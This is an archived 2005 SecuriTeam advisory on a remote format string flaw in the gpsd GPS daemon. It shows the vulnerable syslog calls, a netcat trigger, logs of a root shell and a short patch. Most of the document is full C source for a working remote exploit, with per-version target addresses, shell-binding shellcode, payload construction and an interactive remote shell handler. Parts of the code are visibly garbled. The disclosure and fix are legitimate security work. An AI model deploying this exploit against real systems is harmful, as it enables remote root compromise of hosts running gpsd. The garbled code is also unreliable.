

# [UNIX] gpsd Format String Vulnerability

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0120.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/26/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 26 Jan 2005 18:39:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

gpsd Format String Vulnerability

---

## SUMMARY

<<http://gpsd.berlios.de/>> gpsd is "a service daemon that monitors a GPS attached to a host computer through a serial or USB port, making its data on the location/course/velocity of the sensor available to be queried on TCP port 2947 of the host computer".

A format string vulnerability in gpsd allows remote attackers to cause the program to execute arbitrary code.

## DETAILS

Vulnerable Systems:

\* gpsd version 1.9.0 through version 2.7

The format string issue is in the `gpsd_report()` function. `syslog()` is used without a format specifier multiple times in `gpsd.c`.

```
/gpsd.c: syslog(LOG_ERR, buf);
```

```
/gpsd.c: syslog(LOG_NOTICE, buf);
```

and more recently :

```
/gpsd.c: syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, buf);
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

There are very few `gpsd_report()` calls that contain "%s" and only one is an exploitable instance.

```
/gpsd.c: gpsd_report(1, "<= client: %s", buf);
```

Here is a sample run at triggering the vulnerability.

```
[root@threat gpsd-2.0]# /usr/sbin/gpsd -p /dev/ttyS0  
[root@threat gpsd-2.0]# tail -f /var/log/messages
```

```
Sep 19 12:59:23 threat gpsd[9420]: gpsd: launching (Version 2.0)  
Sep 19 12:59:23 threat gpsd[9420]: gpsd: listening on port 2947
```

```
[root@threat gpsd-2.0]# nc localhost 2947  
AAAABBBB%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x  
GPSD,A=?,A=?,A=?,A=?,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1,X=1
```

The above netcat session generated the following Syslog messages.

```
Sep 19 13:00:08 threat gpsd[9420]: gpsd: closed GPS  
Sep 19 13:00:08 threat gpsd[9420]: gpsd: opening GPS data source at  
/dev/ttyS0  
Sep 19 13:00:08 threat gpsd[9420]: gpsd: setting speed 4800, 8 bits, no  
parity  
Sep 19 13:00:08 threat gpsd[9420]: gpsd: gpsd_activate: opened GPS (6)  
Sep 19 13:00:08 threat gpsd[9420]: gpsd: <= client:  
AAAABBBBfefdf8f80647370673d3c203a696c63203a746e654141412042424241257825422578  
25782578257825782578257825782578  
Sep 19 13:00:11 threat gpsd[9420]: gpsd: closed GPS
```

From here you are dealing with a classic format string exploit.

Successful exploitation on a RedHat box gets you root, and on Debian you get `uid=gpsd gid=dialout`.

```
jdarn:/home/kfinisterre/gps$ ./ex_gpsd -h 192.168.1.203 -t 12  
# remote host 192.168.1.203.  
Checking Remote version  
GPSD VERSION: 2.6  
# send exploit data.  
[*] data sent 3389 bytes .  
[*] data sent 2 bytes .  
[+] Trying to exec shellcode on remote  
[*] data sent 2 bytes .  
[-] Waiting 5 seconds to connect to remote shell  
[+] yes!  
[*] Executed shell successfully !
```

```
Linux localhost.localdomain 2.4.20-8 #1 Thu Mar 13 17:18:24 EST 2003 i686  
athlon i386 GNU/Linux  
uid=0(root) gid=0(root)
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
stty: standard input: Invalid argument
[root@localhost /]# exit
```

To fix this vulnerability in ./gpsd.c you need to modify a few syslog calls. This may break existing gpsd\_report() functionality. When the author(s) gets around to checking email and or reading the bug entries a new version will come out. This work around is strictly to prevent exploitation.

```
syslog(LOG_ERR, "%s", buf);
syslog(LOG_NOTICE, "%s", buf);
syslog((errlevel == 0) ? LOG_ERR : LOG_NOTICE, "%s", buf);
```

Timeline associated with this bug:

01/19/2005 attempts to notify all of the individuals working on the project via email were made. no response.

01/20/2005 BerliOS Developer bug ID #003087 Security Vulnerability ala syslog() was filed. no response.

Exploit:

```
/**
** Copyright Johnh and KF 2005
**
** Gpsd remote format string exploit
** By: Johnh[at]digitalmunition[dot]com
** Bug Found By: kf[at]digitalmunition[dot]com
** http://www.digitalmunition.com/DMA\[2005-0125a\].txt
**
** Features: Version ident
**
** Debian machines provide uid=gpsd
** Redhat machines provide uid=root
**
** Lots of JUMP_SLOT's provided but
** You can get or brute the shellcode
** addresses yourself.
**/
```

```
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
#include <fcntl.h>
#include <sys/time.h>

#define GPSD_PORT 2947

void sh(int st_sock_va);
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout);
int checkZero (long value);
char *putLong (char* ptr, long value);
int own_gpsd(int sock,int iType);
int check_version(int sock);
int exec_shellcode(int sock);
int usage(char *p);

struct
{
    unsigned long retloc; /* retloc of syslog */
    unsigned long retaddr;
    char *szDescription;
}targets[] =
{

    // Brute the rest of the addresses your self...
    // syslog() , shellcode , version
    {0x0804f250,0x41424344, "gpsd-1.91-1.i386.rpm"}, // .rpms Tested
on Redhat 9.0
    {0x0804f630,0x41424344, "gpsd-1.92-1.i386.rpm"},
    {0x0804e154,0x41424344, "gpsd-1.93-1.i386.rpm"},
    {0x0804f260,0x41424344, "gpsd-1.94-1.i386.rpm"},
    {0x0804f268,0x41424344, "gpsd-1.95-1.i386.rpm"},
    {0x41424344,0x41424344, "gpsd-1.96-1.i386.rpm"}, //broken rpm?
    {0x0804b14c,0x41424344, "gpsd-1.97-1.i386.rpm"},
    {0x0804c7a0,0x41424344, "gpsd-2.1-1.i386.rpm"},
    {0x0804c7a0,0x41424344, "gpsd-2.2-1.i386.rpm"},
    {0x0804c730,0xbfffd661, "gpsd-2.3-1.i386.rpm"},
    {0x0804c7b8,0xbfffd71, "gpsd-2.4-1.i386.rpm"},
    {0x0804c7dc,0xbfffd09, "gpsd-2.5-1.i386.rpm"},
    {0x0804c730,0xbfff100, "gpsd-2.6-1.i386.rpm"},
    {0x0804c5bc,0xbfffcabc, "gpsd-2.7-1.i386.rpm"},
    {0x0804c7c4,0xbfffd8, "gpsd_2.6-1_i386.deb"}, // .debs Tested on
Debian GNU/Linux 3.1
    {0x0804c6c4,0xbfffc818, "gpsd_2.7-1_i386.deb"},
    {0x0804c770,0xbfffe70, "gpsd_2.7-2_i386.deb"},
    {0x0804c818,0xbfffe148, "SuSE 9.1 compiled 2.0"}, //compiled
binary on local box for debug
    {0x0804b164,0xbfffd7d6, "Slackware 9.0 compiled 2.0"},
    {0x0804c3ec,0xbfffe65c, "Slackware 9.0 compiled 2.7 "},
    {0x41424344,0xdeadbeef, "Debug "},

},v;
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
int iType;

char shellcode[]=
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x16\x81\x73\x17\x13\x99"
"\x37\xe2\x83\xeb\xfc\xe2\xf4\x22\x42\xc0\x01\xa3\xff\x64\xa1\x40"
"\xda\x64\x6b\xf2\xd2\xfa\x62\x9a\x5e\x65\x84\x7b\x8c\xf5\xa1\x75"
"\xca\xbe\x03\xa3\x89\x67\xb3\x44\x10\xd6\x52\x75\x54\xb7\x52\x75"
"\x2a\x33\x2f\x93\xc9\x67\xb5\x9a\x78\x74\x52\x75\x54\xb7\x6b\xca"
"\x10\xf4\x52\x2c\xd0\xfa\x62\x52\x7b\xcf\xb3\x7b\xf7\x18\x91\x7b"
"\xf1\x18xcd\x71\xf0\xbe\x01\x42\xca\xbe\x03\xa3\x92\xfa\x62";

//thanks sam
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
    int sock,
    flag,
    pe = 0;
    size_t pe_len;
    struct timeval tv;
    struct sockaddr_in addr;
    struct hostent* hp = NULL;
    fd_set rset;

    // reslov hosts
    hp = gethostbyname (host);
    if (NULL == hp) {
        perror ("tcpConnect:gethostbyname\n");
        return -1;
    }

    sock = socket (AF_INET, SOCK_STREAM, 0);
    if (-1 == sock) {
        perror ("tcpConnect:socket\n");
        return -1;
    }

    addr.sin_addr = *(struct in_addr *) hp->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons (port);

    /* set socket no block
    */
    flag = fcntl (sock, F_GETFL);
    if (-1 == flag) {
        perror ("tcpConnect:fcntl\n");
        close (sock);
        return -1;
    }
    flag |= O_NONBLOCK;
    if (fcntl (sock, F_SETFL, flag) < 0) {
        perror ("tcpConnect:fcntl\n");
    }
}
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
close (sock);
return -1;
}

if (connect (sock, (const struct sockaddr *) &addr,
            sizeof(addr) < 0 &&
            errno != EINPROGRESS) {
    perror ("tcpConnect:connect\n");
    close (sock);
    return -1;
}

/* set connect timeout
 * use millisecond
 */
tv.tv_sec = timeout/1000;
tv.tv_usec = timeout%1000;
FD_ZERO (&rset);
FD_SET (sock, &rset);

if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
    // perror ("tcpConnect:select");
    close (sock);
    return -1;
}

pe_len = sizeof (pe);

if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
    perror ("tcpConnect:getsockopt\n");
    close (sock);
    return -1;
}

if (pe != 0) {
    errno = pe;
    close (sock);
    return -1;
}

if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
    perror ("tcpConnect:fcntl\n");
    close (sock);
    return -1;
}

pe = 1;
pe_len = sizeof (pe);

if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
    perror ("tcpConnect:setsockopt\n");
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
    close (sock);
    return -1;
}
return sock;
}

void sh(int st_sock_va)
{
    int died;
    char *command="uname -a; id; export TERM=vt100; exec bash -i\n";
    char readbuf[1024];
    fd_set rset;
    memset((char *)readbuf,0,sizeof(readbuf));
    fprintf(stdout,"[*] Executed shell successfully !\n\n");
    send(st_sock_va,command,strlen(command),0);

    for(;;)
    {
        fflush(stdout);
        FD_ZERO(&rset);
        FD_SET(st_sock_va,&rset);
        FD_SET(STDIN_FILENO,&rset);
        select(st_sock_va+1,&rset,NULL,NULL,NULL);

        if(FD_ISSET(st_sock_va,&rset))
        {
            died=read(st_sock_va,readbuf,sizeof(readbuf)-1);
            if(died<=0)
                exit(0);
            readbuf[died]=0;
            fprintf(stdout,"%s",readbuf);
        }
        if(FD_ISSET(STDIN_FILENO,&rset))
        {
            died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
            if(died>0)
            {
                readbuf[died]=0;
                write(st_sock_va,readbuf,died);
            }
        }
    }
    return;
}

/*
 *check the \x00 byte
 */
int checkZero (long value)
{
    return !(value & 0x00ffffff) &&
}
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
(value & 0xff00fff) &&
(value & 0xffff00ff) &&
(value & 0xfffffff0));

}
/*
 * put a address in mem, for little-endian
 *
 */
char*
putLong (char* ptr, long value)
{
    *ptr++ = (char) (value >> 0) & 0xff;
    *ptr++ = (char) (value >> 8) & 0xff;
    *ptr++ = (char) (value >> 16) & 0xff;
    *ptr++ = (char) (value >> 24) & 0xff;

    return ptr;
}

int main (int argc, char **argv)
{
    int c, sock, ret;
    char *hostName = NULL;

    if (argc < 3) {
        usage (argv[0]);
        return -1;
    }

    while((c = getopt(argc, argv, "h:t:")) != EOF) {
        switch(c) {
            case 'h':
                hostName = optarg;
                break;
            case 't':
                iTType = atoi (optarg);
                break;
            default:
                usage (argv[0]);
                return 0;
        }
    }

    if (argc < 2) { usage(argv[0]); exit(1); }

    if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
    {
        usage(argv[0]);
        printf("[ - ] Invalid type.\n");
        return 0;
    }
}
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
}

printf("# remote host %s.\n", hostName);

sock = new_tcpConnect(hostName, GPSD_PORT, 9000);
printf("Checking Remote version\n");
check_version(sock);

own_gpsd(sock, iType);
close(sock);
sock = new_tcpConnect(hostName, GPSD_PORT, 9000);
printf("[+] Trying to exec shellcode on remote\n");
exec_shellcode(sock);
printf("[-] Waiting 5 seconds to connect to remote shell\n");
sleep(5);
if ((ret = new_tcpConnect(hostName, 5570, 9000)) < 0) {
    fprintf(stderr, "[-] failed :<\n");
    goto out;
}

printf("[+] yes! \n");

sh(ret);
out:
close(ret);
return 0;
}

int own_gpsd(int sock, int iType)
{
    int offset = 0x11;
    int dump_fmt=7;
    int al = 3;
    int hi, lo;
    int x;
    int ret;
    unsigned long shift0, shift1;
    char buf[90000];
    char fun[256];
    char *ptr;

    /* check zero byte */
    if (checkZero(targets[iType].retloc) || checkZero
(targets[iType].retloc+2) ) {
        printf("retloc has a null; <\n");
        exit(1);
    }

    hi = (targets[iType].retaddr >> 0) & 0xffff;
    lo = (targets[iType].retaddr >> 16) & 0xffff;
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

```
shift0 = hi - offset - (dump_fmt * 8 + 16 + al);
shift1 = (0x10000 + lo) - hi;

memset(buf,0x41,3);
ptr = buf+3;
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, targets[iType].retloc);
ptr = putLong (ptr, 0x42424242);
ptr = putLong (ptr, targets[iType].retloc+2);

for (x=0;x<dump_fmt;x++)
    strcat(ptr,"%08x");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift0);
strcat(ptr,"lx%hn");

strcat(ptr,"%.");
sprintf(ptr+strlen(ptr),"%u",shift1);
strcat(ptr,"lx%hn");
x = strlen(ptr);
memset(ptr+x,0x90,3000);
x+=3000;
memcpy(ptr+x,shellcode,337);
x+=337;

printf("# send exploit data. \n");
sleep(1);
ret = send (sock, buf, x, 0);
printf("[*] data sent %d bytes \n", x);
memcpy(fun,"l\n",2);
ret = send (sock, fun, 2, 0);
printf("[*] data sent %d bytes \n", ret);

return 0;
}

//Had to connect to remote and send a string to make shellcode execute. No
idea why. but it works so :)
int exec_shellcode(int sock) {
    int ret;
    char fun[256];

    memcpy(fun,"l\n",2);
    ret = send (sock, fun, 2, 0);
    printf("[*] data sent %d bytes \n", ret);

    return 0;
}
```

## Securiteam: [UNIX] gpsd Format String Vulnerability

//Check remote version of gpsd. You may ask why because all verions are vuln but who knows :)

//When the vendor changes the code you can change this to detect a vuln/non vuln version

```
int check_version(int sock) {
    char *version;
    char buf_ver[256];
    char recv_buf[256];
    int ret;

    memcpy(buf_ver,"l\n",2);
    ret = send (sock, buf_ver, 2, 0);
    ret = recv(sock,recv_buf,sizeof(recv_buf),0);
    version = strtok(recv_buf," ");
    version = strtok(NULL," ");
    printf("GPSD VERSION: %s\n",version);
}

int usage(char *p)
{
    int i;
    printf( "Gpsd <= 2.7 remote formatstring exploit\r\nBy:
johnh@secnetops.com\r\n");

    printf( "Usage: %s <-h host> <-t target>\n"
           "[type]\t[Description]\t\t[Retloc]\n", p);
    for(i=0;i<sizeof(targets)/sizeof(v);i++)
    {
        printf("%d\t%s\t\t0x%08lx\n", i,
targets[i].szDescription,targets[i].retloc);
    }
    return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by  
<mailto:kf\_lists@digitalmunition.com> KF (Lists).

The original article can be found at:

<[http://www.digitalmunition.com/DMA\[2005-0125a\].txt](http://www.digitalmunition.com/DMA[2005-0125a].txt)>

[http://www.digitalmunition.com/DMA\[2005-0125a\].txt](http://www.digitalmunition.com/DMA[2005-0125a].txt)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

## Securiteam: [UNIX] gpsd Format String Vulnerability

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.